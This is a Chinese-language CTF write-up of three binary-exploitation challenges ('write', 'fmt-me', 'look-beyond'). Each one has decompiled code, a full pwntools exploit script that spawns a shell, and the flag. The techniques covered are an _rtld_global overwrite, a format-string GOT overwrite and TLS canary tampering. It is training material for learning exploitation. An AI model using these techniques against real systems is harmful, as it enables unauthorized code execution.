收获满满
write
Description:
You can write,
what can you byte.
nc pwn.byteband.it 9000
Solution:
程序保护如下:
1 2 3 4 5
| Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
|
main 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { _QWORD *v3; __int64 v4; char s; unsigned __int64 v6;
v6 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(_bss_start, 0LL); printf("puts: %p\n", &puts, argv); printf("stack: %p\n", &v4); while ( 1 ) { puts("===Menu==="); puts("(w)rite"); puts("(q)uit"); fgets(&s, 2, stdin); if ( s == 'q' ) break; if ( s == 'w' ) { printf("ptr: ", 2LL); __isoc99_scanf("%lu", &v3); printf("val: "); __isoc99_scanf("%lu", &v4); *v3 = v4; } } exit(0); }
|
这题如果用我从 TaQini 师傅那问到的点的话,那考的太偏了
具体的利用在 exit 函数的_dl_fini
函数里:
1 2 3 4 5 6
| 0x7f22d9fdca02 <_dl_fini+98> lea rdi, [rip + 0x217f5f] <0x7f22da1f4968> 0x7f22d9fdca09 <_dl_fini+105> call qword ptr [rip + 0x218551] <0x7f22d9c2a440> rdi: 0x7f22da1f4968 (_rtld_global+2312) ← 0x68732f6e69622f /* '/bin/sh' */ rsi: 0x0 rdx: 0x7f22d9fdc9a0 (_dl_fini) ← push rbp rcx: 0x1
|
call qword ptr [rip + 0x218551]
是_rtld_global
上面的地址,rdi 也是用的_rtld_global
上面的地址
不同的 ld 对应的_rtld_global
不一样,这里我是和远程机子都用的 Ubuntu 18.04 所以直接打通了
后来我试了试 IO FILE 里面绕过 vtable 的两个攻击方法,也可以过
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
|
from pwn import * import binascii
debug = 2 context(arch="amd64", endian='el', os="linux") context.log_level = "debug" if debug == 1: p = process('./write') else: p = remote('pwn.byteband.it', 9000) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
def loop(loop_ptr, loop_val): p.sendlineafter('(q)uit\n', 'w') p.sendlineafter('ptr: ', str(loop_ptr)) p.sendlineafter('val: ', str(loop_val)) p.recvuntil('(q)uit\n')
p.recvuntil('puts: ') addr_puts = int(p.recvuntil('\n')[:-1], 16) libcbase = addr_puts - libc.sym['puts'] addr_system = libcbase + libc.sym['system'] addr_target = addr_puts + 0x5995a0 addr_rdi = addr_puts + 0x598fa8
loop(addr_rdi, int(binascii.hexlify('/bin/sh'[::-1]), 16)) loop(addr_target, addr_system)
p.sendlineafter('(q)uit\n', 'q') p.interactive()
|
Flag:
1
| flag{imma_da_pwn_mAst3r}
|
fmt-me
Description:
Format strings are so 2000s.
nc pwn.byteband.it 6969
Solution:
程序保护如下:
1 2 3 4 5
| Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
main 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| int __cdecl main(int argc, const char **argv, const char **envp) { char buf; unsigned __int64 v5;
v5 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); puts("Choose your name"); puts("1. Lelouch 2. Saitama 3. Eren"); printf("Choice: ", 0LL); if ( get_int() == 2 ) { puts("Good job. I'll give you a gift."); read(0, &buf, 0x100uLL); snprintf(other_buf, 0x100uLL, &buf); system("echo 'saitama, the real hero'"); } return 0; }
|
get_int 函数如下:
1 2 3 4 5 6 7 8 9
| int get_int() { char s; unsigned __int64 v2;
v2 = __readfsqword(0x28u); fgets(&s, 10, stdin); return atoi(&s); }
|
这题在跟 TaQini 师傅讨论的过程中又学到了一点,在一个函数还没有被 dl 加载的时候,我叫它函数 A
我把 B 函数的 got 表换成 A 函数的 plt + 6 的地址,那么 B 函数就可以通过 dl 加载 plt 所对应的 A 函数的 libc 地址
那么这题就简单了,一开始替换 system 为 main 函数,再把 atoi 函数的 got 表换成 plt_system + 6
那么第二次运行到 atoi 函数时,运行的就是 system 函数了
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
|
from pwn import *
debug = 1 context(arch="amd64", endian='el', os="linux") context.log_level = "debug" if debug == 1: p = process('./fmt') else: p = remote('pwn.byteband.it', 6969) elf = ELF('./fmt', checksec=False) got_system = elf.got['system'] got_atoi = elf.got['atoi'] plt_system = elf.plt['system'] addr_main = 0x4011f7
gdb.attach(p, "set follow-fork-mode parent\nb *0x4012D5\nc") p.sendlineafter('Choice: ', '2') pd = '%' + str(plt_system + 6) + 'c%17$ln' pd += '%' + str(addr_main - plt_system - 6) + 'c%16$ln' pd = pd.ljust(0x50, 'a') pd += p64(got_system) pd += p64(got_atoi) p.sendafter(' gift.\n', pd) p.sendlineafter('Choice: ', '/bin/sh') p.interactive()
|
Flag:
1
| flag{format_string_is_t00_0ld}
|
look-beyond
Description:
Beyond the Aquila Rift, or is it in between?
nc pwn.byteband.it 8000
Update:
Remote kernel is
Linux 4.15.0-1057-aws #59-Ubuntu SMP Wed Dec 4 10:02:00 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Solution:
程序保护如下:
1 2 3 4 5
| Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
main 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { unsigned __int64 size; _BYTE *v4; void *buf; char v7; unsigned __int64 v8;
v8 = __readfsqword(0x28u); if ( dword_60107C ) { if ( dword_60107C == 1 ) { a2 = (char **)&puts; printf("puts: %p\n", &puts, a3); } } else { setvbuf(stdout, 0LL, 2, 0LL); a2 = 0LL; setvbuf(stdin, 0LL, 2, 0LL); } printf("size: ", a2); size = sub_400777(&v7); v4 = malloc(size); printf("idx: ", size); v4[sub_400777(&v7)] = 1; printf("where: "); buf = (void *)sub_400777(&v7); printf("%ld", buf); read(0, buf, 8uLL); dword_60107C = 1; return 0LL; }
|
sub_400777 函数如下:
1 2 3 4 5
| unsigned __int64 __fastcall sub_400777(char *a1) { fgets(a1, 8, stdin); return strtoul(a1, 0LL, 10); }
|
这题的利用点来自于 canary 的知识点:tls
程序开始的时候会在 fs 段的 0x28 位置上生成一段随机数,然后将这个随机数存入栈中作为 canary
每次程序结束运行时,将这两个数作异或,两数相同正常退出,不同就进入__stack_chk_fail
我们知道,fs 段靠近 mmap 的地方,那么我们可以先申请堆id大小大于 top_chunk,使其分配到 mmap
然后利用 search 命令搜索 canary 的值所存在的地址,和申请到的 mmap 地址做差即可得到偏移
第二次的偏移经测试要比第一次多加 0x31000
不过这块有一处不太懂,申请的 chunk 如果要更大的话,程序就不给我返回地址了,只有稍微大过 top_chunk 才行
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
|
from pwn import *
debug = 1 context(arch="amd64", endian='el', os="linux") context.log_level = "debug" if debug == 1: p = process('./chall') else: p = remote('pwn.byteband.it', 8000) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) elf = ELF('./chall', checksec=False) libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c] got___stack_chk_fail = elf.got['__stack_chk_fail'] addr_main = 0x4007D6
gdb.attach(p, "b *0x4008A9\nc") p.sendlineafter('size: ', str(0x30000)) p.sendlineafter('idx: ', str(0x324d8)) p.sendafter('where: ', str(got___stack_chk_fail)) p.sendafter(str(got___stack_chk_fail), p64(addr_main))
p.recvuntil('puts: ') addr_puts = int(p.recvuntil('\n')[:-1], 16) libcbase = addr_puts - libc.sym['puts'] addr_one_gadget = libcbase + libc_one_gadget[1] p.sendlineafter('size: ', str(0x30000)) p.sendlineafter('idx: ', str(0x324dc + 0x31000)) p.sendafter('where: ', str(got___stack_chk_fail)) p.sendafter(str(got___stack_chk_fail), p64(addr_one_gadget)) p.interactive()
|
Flag:
1
| flag{tls_isnt_b1ack_magic}
|